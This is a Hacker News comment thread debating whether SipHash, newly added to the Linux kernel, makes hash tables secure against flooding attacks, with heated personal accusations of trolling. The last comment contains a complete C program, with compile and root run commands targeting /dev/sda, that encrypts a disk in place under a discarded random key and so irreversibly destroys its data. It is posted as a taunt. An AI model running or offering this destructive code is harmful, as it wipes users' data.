5 ms·
Counter argument: http://perl11.org/blog/seed.html http://perl11.org/blog/seed.html Now even the kernel devs are drinking the coolaid, verbatim copying wrong c
by rurban 10y ago
Counter argument: http://perl11.org/blog/seed.html http://perl11.org/blog/seed.html
Now even the kernel devs are drinking the coolaid, verbatim copying wrong claims from the SipHash authors.
- CJefferson 10y agoSaying you can read the hash seed from memory sounds like a "wrong side of the airtight hatchway" problem. If I can already read bytes from the running executable, I can just smash it to bits. If I can run processes on the machine at all, I don't need to slow it down with hash collisions, I can just fork bomb. Can you usefully attack without having that kind of access?
- rurban 10y agoNo. The problem is the commit message, not yet the implementation. What will follow is what followed at all the other cases: ruby, python, php, rust, ... They will replace SHA1 with siphash (already done in this branch), their open-addressing with chaining and primes with power of 2. So they will loose all the previous performance and security by the false security and performance claim of siphash. siphash essentially says: we are DoS secure and we are fast. Both is provable wrong.
- zx2c4 10y agoSorry but you still haven't substantiated your argument with any such "proof". It looks like you also made a "prediction" about what's going to be decided by people who certainly aren't you in the future. Got a cryptographically secure PRF that's faster than Siphash for small inputs and has undergone extensive cryptanalysis? If so, I'm all ears. If not, get lost, troll. There's a real use case for a secure PRF fast for small inputs. That's why this code has been added.
- rurban 10y agoYou are the troll when you dont see the obvious proofs. 1. DOS proof: a hash function can never lead to DoS proofness. Every hash function can be trivially brute forced to find enough collisions for such an attack. When you need to protect against such a worst case you don't make your hash function slower and get limited seed hiding, you rather check for such an attack and mitigate it directly, at the collision resolution. 2. Slowness: see my smhasher page. The slowest of all hash functions which is used in hash tables. I don't see a usecase for a slow PRF in net. All other PRF's are faster. I also don't see more security, only less. SHA1 replaced by SipHash surely makes it faster, but not safer.
- thomasahle 10y ago> No. The problem is the commit message, That's true. Calling it "cryptographically secure" could easily send the wrong signals. It's meant for network traffic authentication and hash-tables. Using it in all places where you previously used SHA is not a good idea. Hopefully the kernel developers will know when it's suitable.
- wolf550e 10y agoPer that argument, AES is insecure because if I know the key, I can decrypt your messages and even fake a message with valid CMAC authentication tag. Siphash is secure in the same sense as AES, HMAC and a CSPRNG: seeing many consecutive values does reveal the key and does not allow predicting the next value.
- wolf550e 10y agoToo late to edit. I meant "does not reveal the key", of course.
- rurban 10y agoOh my. It's trivial to brute force SipHash to attack hash tables with a known seed. It's part of my hash table flood test for cperl. Timings: BITS SIZE TIME 8 - 255 0.003s 9 - 511 0.006s 10 - 1023 0.033s 11 - 2047 0.12s 12 - 4095 0.45s 13 - 8191 1.82s 14 - 16383 7.6s 15 - 32767 31s 16 - 65535 2m2s 18 - 262143 4m3s 23770 18-30 bit: ~4m for an attackable subset (linear time). The typical size in a kernel is 13bit. The only SipHash security you get is seed hiding. Once you got it, it's insecure. You get the seed by various means, usually by poking into memory or by solving via order-exposure and timing attacks. This commit doesn't mention anything of it, because it followed the flawed siphash chapter 6, which only knows about chained hash tables. So far only the linux kernel, glibc and java were the only immune hash tables to such nonsense. Now only java and glibc is remaining. I should have done that CCC talk this year about the disturbing siphash security theatre out there. Thanks god the kernel still uses primes, so you need a full 32bit attack. But with this commit message I fear this will erode also to power of 2 sooner or later to use a simple bit test instead of mod (or the mult. trick).
- geofft 10y ago> usually by poking into memory or by solving via order-exposure and timing attacks. Can you explain how to conduct "order-exposure and timing attacks" against SipHash? The page you link describes how to conduct "poking into memory", which is outside of the threat model.
- thomasahle 10y agoThe only way we know to make a secure hash function is with a random seed. This is the "correct" way to do it. Anything else claiming "cryptographical strong" without a secret random seed is coolaid. It is true that timing attacks to guess the key could be an issue, but I have yet to see reports of this having been done. Also, it wouldn't be hard to fix in the hash table implementations.
- rurban 10y agoNonsense. The only way we know to make a secure hash table function is either via universal hashing (academic literature), via non-linear collision iteration (i.e. java) or by detecting an DoS attack (by counting the collisions (i.e. djbdns). Please look at the literature. It's embarrassing. A random seed helps, but doesn't guarantee DoS-safeness. Same for SipHash. Using SipHash doesn't give you a DoS-safe hash table if you use chained hashing. It only makes it slower and hides the seed better. Secure hash functions do not exist with hash tables. I'm tried of hearing all this nonsense all over. SipHash is a secure PRF, but we don't care for "Pseudo Random Functions", we look for hash functions.
- geofft 10y ago> universal hashing (academic literature) Building a hash table with a function randomly selected from a PRF is universal hashing.
- rurban 10y agoNot if the function is not random. A random seed for a fixed known function only gives you a few bits of randomness. This random seed is easily detectable from inside, and harder to detect from outside via ordering exposure and timings. This is not a random function. Double hashing with random seeds would qualify as universal hashing though.
- zx2c4 10y agoThe seed is kept secret. Observing siphash outputs will not reveal the seed, unless an entirely infeasible quantity of outputs are observed.
- nabla9 10y agoThat argument goes backwards. Acquiring random seed is much deeper security attack than hash flooding network connection. If you can get the seed, why would you do DDoS-attack. You do DDoS attacks when you can't get in and do more severe attacks. It's like braking into someones house to get the spare key so you can get in and rob them.
- rurban 10y agoIf you know the static address of the seed in memory it's trivial. E.g. the commit replaced the secure SHA1 with a 256bit key in net/ipv4/syncookies.c with a less secure siphash with a 128bit key. https://git.kernel.org/cgit/linux/kernel/git/davem/net-next.git/commit/?id=17650f22cd059b3d653c03b5534e4a2a18cb02bd https://git.kernel.org/cgit/linux/kernel/git/davem/net-next.... https://git.kernel.org/cgit/linux/kernel/git/davem/net-next.git/commit/?id=2c956a60778cbb6a27e0c7a8a52a91378c90e1d1 https://git.kernel.org/cgit/linux/kernel/git/davem/net-next.... talks about siphash being more secure than MD5 and SHA1. It's only more secure than trivial fast hash functions, like DJB33* or FNV1, but not MD5. These guys want to maintain your networking code! The new Documentation/siphash.txt on the other hand is correct. But it simply refers to the siphash pdf without refuting the wrong chapter 6 parts, which lead to the wide-spread hash table insecurity amongst most popular dynamic languages.
- zx2c4 10y agoA 128-bit key is more than plenty; don't be ridiculous. The prior partial sha1/md5 implementation usage was pretty dubious. Siphash has significant performance improvements for things like syncookies and secure sequence numbers. Your comment about knowing the address of the key and taking it out of kernel memory... wtf? If you can read arbitrary kernel memory, it's already game over. The whole attack model relies on ring 0 being ring 0.
- nabla9 10y agoDid you understand my argument? If you can access memory, you are already in and don't need to do hash flooding to being with.
- geofft 10y agoThis is nonsense, of the class of nonsense that regularly comes up on Raymond Chen's blog with the title, "It rather involved being on the other side of this airtight hatchway." https://blogs.msdn.microsoft.com/oldnewthing/20141217-00/?p=43373 https://blogs.msdn.microsoft.com/oldnewthing/20141217-00/?p=... is a good example. Specifically, the argument here is that SipHash is insecure because you can read the private key out of the process's memory, or you can convince the process to dump its private key by setting an environment variable. But anyone who can read your process memory or set environment variables has a million easier ways to attack your process. The thing SipHash is protecting you from is not yourself. It's protecting you from attackers on the network, that is, not on your machine, giving you malicious data to abuse your hash table. Nobody can protect you from attackers who can run opcodes in your Perl VM. In the kernel, there's no such thing as a Perl VM or environment variables. There is a such thing as private kernel memory, and it is kept secret from userspace and (of course) from other people on the network, for very good reason. If you can read kernel memory, or execute kernel code, you have already won. This is like a military officer saying, "These improved missile launchers don't keep us safe. There's a secret code to launch the missiles, and if the enemy happens to captures our capital and breaks into our military installations and kidnaps the president and steals the launch codes, they can launch our own missiles against us."
- zx2c4 10y agoWell put. I'm pretty sure "rurban" is a well known Internet troll with a reputation for spreading non-sense like this.
- geofft 10y agoOh, apparently so! https://twitter.com/szbalint/status/795992687556042752 https://twitter.com/szbalint/status/795992687556042752 Making weird but reasonable-sounding claims about cryptanalysis of SipHash seems to be his MO. More Googling finds an amazing history of poorly-reasoned complaints about Perl's adoption of SipHash. Masterful trolling, rurban. We all took you seriously.
- zx2c4 10y agoYou're confused. Yes, the model depends on the secret key remaining secret. No, this isn't a vulnerability. (If you figure out how to leak keys from kernel space, you've uncovered a grave vulnerability, way worse than anything discussed here.)
- josnyder 10y agorurban has been proselytizing against use of psuedorandom functions (such as SipHash) for hash tables for a while now. He appears to truly believe that using PRFs for this purpose is inappropriate. Every argument I've seen from rurban is predicated upon the assumption that the seed will be leaked by the application, either by directly leaking the key's contents or by an algorithmic attack on the output of the algorithm. As you mention, the former would constitute a grave vulnerability in the application (the kernel, in this case). The latter would constitute a grave vulnerability in the algorithm. As for assessing whether there are vulnerabilities in the algorithm, we have an academic field (cryptanalysis) that exists to inform us when such vulnerabilities exist. Cryptanalysts' efforts have given us substantial assurance that the algorithms we use everyday (e.g. AES, HMAC, ChaCha, GMAC) are both pseudo-random and adequately prevent disclosure of their keys. SipHash was explicitly designed to be resistant to cryptanalytic attack, by two well-regarded cryptographers (Bernstein and Aumasson). They designed it targeting a specific cryptographic strength/performance trade-off, and to my knowledge it is the best contender for building a flood resistant hash table. zx2c4, I look forward to using your code. Thank you for making the Linux kernel more secure.
- rurban 10y agoYou are again misinformed. A hash function is only of limited usefulness against hash floods. The only mitigation is seed hiding. This is useful for current attacks, where collisions can trivially be predicted with simple, fast hash function. But the siphash paper and all arguments I heard from the siphash = DoS proof proponents don't know anything about current hash table security analysis, and come up with wrong claims all over (fast and DoS proof), which is trivially refutable. A hash table firstly needs to be fast. Otherwise you are better of with a patricia tree. To mitigate hash flood attacks, you don't start by making it slow by using 2x slower hash functions with only limited usefulness against said attacks. You rather mitigate the attack vector, where you need to do it: In the collision resolution. This is were you get from O(1) to O(n) and not in the hash function. Robin-Hood has predefined max-collisions, double-hashing is dos proof, all other open or chained hash tables can trivially detect such an attack with zero cost with no need to slow a hash table down by 2. And with only limited added security. Yes, internal seed exposure is not your attack vector. This exposure is only to simplify my argument. You still get at the seed by analysing external information. You got the ordering and you got timing information. Even with a 64bit seed this is not enough security to label siphash dos-proof. Again, calling a hash function hash table dos-proof is pure security theatre and provable wrong. SipHash was only designed to mitigate timing attacks against the hash function and to mix the seed properly inside the loop, but not against timing attacks in the collisions. Using it as hash table function is totally useless. > and to my knowledge it is the best contender for building a flood resistant hash table. It is in fact the worst contender. The best contender is a fast simple hash function and protect against hash flood attacks where they happen. in the collisions. you don't make the general case 2x slower, while the worst case is still vulnerable. the only advantage of siphash for the worst case is that it protects from trivial seed exposure known for 2 years already. zx2c4 is not making the net code more secure, he is just making it slower. this is mere openbsd theatre. and by replacing sha1 with siphash for the cookies it is even less secure.
- zx2c4 10y agoSince you claim to have made all sorts of cryptographic advances and have various attacks on Siphash, I invite you to run the following code on your main hard drive. 1. Compile it: $ gcc -o rurban-is-a-troll hacker-news-comment-code.c 2. Run it as root on your drive: # ./rurban-is-a-troll /dev/sda If you can recover your data afterwards, congratulations! You should publish an academic paper! If not, then neither I nor anybody else understands your [lack of a compelling] argument. ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~= #include <stdint.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #define SIPROUND \ do { \ v0 += v1; v1 = rol64(v1, 13); v1 ^= v0; v0 = rol64(v0, 32); \ v2 += v3; v3 = rol64(v3, 16); v3 ^= v2; \ v0 += v3; v3 = rol64(v3, 21); v3 ^= v0; \ v2 += v1; v1 = rol64(v1, 17); v1 ^= v2; v2 = rol64(v2, 32); \ } while (0) #define PREAMBLE(len) \ uint64_t v0 = 0x736f6d6570736575ULL; \ uint64_t v1 = 0x646f72616e646f6dULL; \ uint64_t v2 = 0x6c7967656e657261ULL; \ uint64_t v3 = 0x7465646279746573ULL; \ uint64_t b = ((uint64_t)(len)) << 56; \ v3 ^= key[1]; \ v2 ^= key[0]; \ v1 ^= key[1]; \ v0 ^= key[0]; #define POSTAMBLE \ v3 ^= b; \ SIPROUND; \ SIPROUND; \ v0 ^= b; \ v2 ^= 0xff; \ SIPROUND; \ SIPROUND; \ SIPROUND; \ SIPROUND; \ return (v0 ^ v1) ^ (v2 ^ v3); static uint64_t rol64(uint64_t word, unsigned int shift) { return (word << shift) | (word >> (64 - shift)); } static uint64_t siphash_1u64(const uint64_t counter, const uint64_t key[2]) { PREAMBLE(8) v3 ^= counter; SIPROUND; SIPROUND; v0 ^= counter; POSTAMBLE } static void siphash_ctr(void *data, size_t len, uint64_t *counter, const uint64_t key[2]) { size_t i; uint64_t *chunked_data = data; for (i = 0; i < len + 7 / 8; ++i) chunked_data[i] ^= siphash_1u64(*counter++, key); } static void *(*volatile memset_volatile)(void *, int, size_t) = memset; int main(int argc, char *argv[]) { uint64_t counter = 0, key[2]; uint8_t chunk[1024 * 1024]; off_t offset = 0; ssize_t amount; int fd; if (argc != 2) { fprintf(stderr, "Usage: %s PATH\n", argv[0]); return 1; } fd = open("/dev/urandom", O_RDONLY); if (fd < 0) { perror("open"); return 1; } if (read(fd, key, sizeof(key)) != sizeof(key)) { perror("read"); return 1; } close(fd); fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 1; } while ((amount = pread(fd, chunk, sizeof(chunk), offset)) > 0) { siphash_ctr(chunk, amount, &counter, key); pwrite(fd, chunk, amount, offset); offset += amount; } close(fd); memset_volatile(key, 0, sizeof(key)); return 0; }